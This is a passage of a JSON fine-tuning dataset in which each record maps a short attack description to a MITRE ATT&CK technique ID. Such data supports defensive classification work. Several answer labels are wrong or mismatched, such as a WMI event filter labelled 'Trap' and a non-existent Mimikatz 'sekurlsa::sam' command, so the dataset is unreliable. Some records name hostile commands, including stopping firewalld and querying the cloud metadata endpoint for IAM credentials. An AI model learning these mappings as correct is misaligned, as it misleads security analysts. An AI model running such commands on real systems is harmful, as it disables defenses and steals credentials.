                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a tool that captured and replayed biometric fingerprint data to bypass device login."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calculates the next domain to contact by combining a hard‑coded root domain with a nonce, then resolves it via DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a compromised VPN gateway to bridge separate network zones, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts OSINT by reviewing public blog posts and press releases to uncover new domain registrations used by the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses Mimikatz’s sekurlsa::sam command to read the SAM database and dump local account credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal deletes .evtx log files to remove evidence from the Windows Event Viewer."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The phishing campaign uses a personalized greeting and a link to a malicious site that silently installs a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates the Windows Mail directory and archives .eml files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom DLL that hooks LSASS to read the NTDS.dit file directly from disk for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses advanced search operators to locate employee LinkedIn profiles that include personal website URLs tied to the company."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a workstation, the threat actor copies a password‑spraying script to a domain controller via a mapped network drive."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a malicious VBScript that uses DCOM to invoke processes on a neighboring machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries launch malicious DLLs using rundll32.exe to execute code hidden in legitimate system binaries."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a malicious DLL into the LSASS service using a driver that is executed during system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accesses victim mail servers via IMAP with stolen credentials, pulling mailbox contents for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the compromise, the malicious payload is saved as \"driver .sys\", using a space after the base name to masquerade as a legitimate driver."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT observed a custom injector that targets the extra window data area of a GUI process, writes a payload, and manipulates the window procedure to execute the code."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages WMI query \"Select * from Win32_Service\" to enumerate services across remote Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor persisted in the environment by creating a scheduled job that calls a crafted SQL stored procedure to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group stages data in a cloud-synced folder, such as OneDrive, to prepare for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group smuggles data on a hidden partition of a portable media device to avoid detection by network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors mine open‑source repositories for credentials by scanning for patterns like 'password=' or 'secret_key'."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a new startup entry via the 'shell' registry key to replace Explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary identifies the responsibilities and access levels of staff members by analyzing the victim’s internal user database."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses AWS IAM ListGroups API to discover cloud groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes the Windows Native API to perform file reads and writes, evading standard API monitoring."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes 'systemctl stop firewalld' to disable the firewall service on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised Facebook page to send a targeted message with a malicious URL to specific users."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is achieved by dumping the memory of the LSASS process on a compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts open-source intelligence by browsing YouTube channel descriptions to discover subdomains linked to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a drive‑by download on a compromised website, delivering a malicious JavaScript payload that exploits a browser vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DLL hijacking of the network provider, the attacker obtains Kerberos tickets and manipulates authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor grants 'Full Control' to a service executable for a non‑privileged user, then swaps in a backdoored version to run with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages ICMP echo requests to hide data within ping packets, tunneling information across the network without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mass scanning tools, the adversary probed all /24 subnets within the target's network for reachable systems."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A VBScript payload is used to inject a malicious DLL into a legitimate process using COM automation."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses built-in Windows commands to move logs to a staging area before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits Outlook's rule creation feature to schedule a recurring task that launches a reverse shell every hour."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor reads a hex‑encoded command string from the registry and decodes it into executable instructions."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program performs continuous password guessing on a web application's admin panel by submitting a list of leaked passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the Alibaba Cloud Function Compute API to run arbitrary commands through a deployed function."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers compromise a CDN account and upload a defaced version of the site's static assets."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script queries LDAP for objects with objectClass=group to enumerate domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor cleans up by deleting any newly added registry values that enable malicious code to execute on system startup."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a compromised employee’s laptop to transfer stolen credentials onto a portable SSD."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor set up a dedicated DNS server on a compromised VPS to provide command‑and‑control communications."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary renames a malicious executable to \"svchost.exe\" and places it in the System32 directory to blend in with legitimate Windows services."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape public NPM package registries for inadvertently committed secrets within package source files."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a compromised satellite link to upload stolen documents to their command server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes a script that sets the registry value ‘EnableUnsignedCode’ to 1, effectively turning off code signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a crafted packet to exploit a weakness in the SMB service, achieving remote code execution on a file server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a new domain with a privacy-protected registrar to host a malicious payload delivery site."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious code into a running process by using the Mavinject API to hijack a legitimate system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a low-level tool to overwrite the system's power‑on self‑test (POST) routine with malicious instructions."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor writes a backdoor DLL to a shared library path and tricks a legitimate program into importing it, resulting in process injection through List Planting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell to read the user’s Mailstore database on the compromised host to collect emails."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the AWS EC2 metadata service at http://169.254.169.254 to retrieve IAM role credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a stolen RDP authentication token to hijack an existing remote desktop connection and execute commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT (Advanced Attack Persistence Tool) performs automated search engine queries to map the target's social media profiles and extract personal data."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a persistent Bluetooth service that periodically pushes exfiltrated keylogs to a nearby attacker‑controlled smartphone."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets a Windows Management Instrumentation (WMI) event filter that triggers a PowerShell command when a new process with a certain name is created, using an event‑triggered trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host ran a script that iterated over the 10.10.0.0/16 network, logging any responding IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes the `Findstr` utility to parse the output of `net view` for share names."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gained access to a CI/CD pipeline and inserted malicious binaries into the build artifacts, which were then distributed to end users."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits poorly set permissions on the Services registry to hijack the service's execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell command \"Get-ChildItem -Recurse\" to discover files and folders across the victim's file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProductName to determine the OS build."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages encoded PowerShell scripts embedded in Office macros to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed a PowerShell command to delete network share connections and clear recent share logs."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed a malicious .exe file to \"report.pdf\" to trick users and security tools into thinking it was a harmless document."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a wget command targeting \"http://checkip.amazonaws.com\" to capture the external IP for exfiltration routing."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised service account to obtain initial access by leveraging an insecure API."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary deploys a ransomware variant that also deletes backup files before encryption."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged a custom script to dump saved passwords from the Windows Credential Manager on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a malicious .plist file in /System/Library/LaunchDaemons to execute code during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the registry key HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion to retrieve product name and edition."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
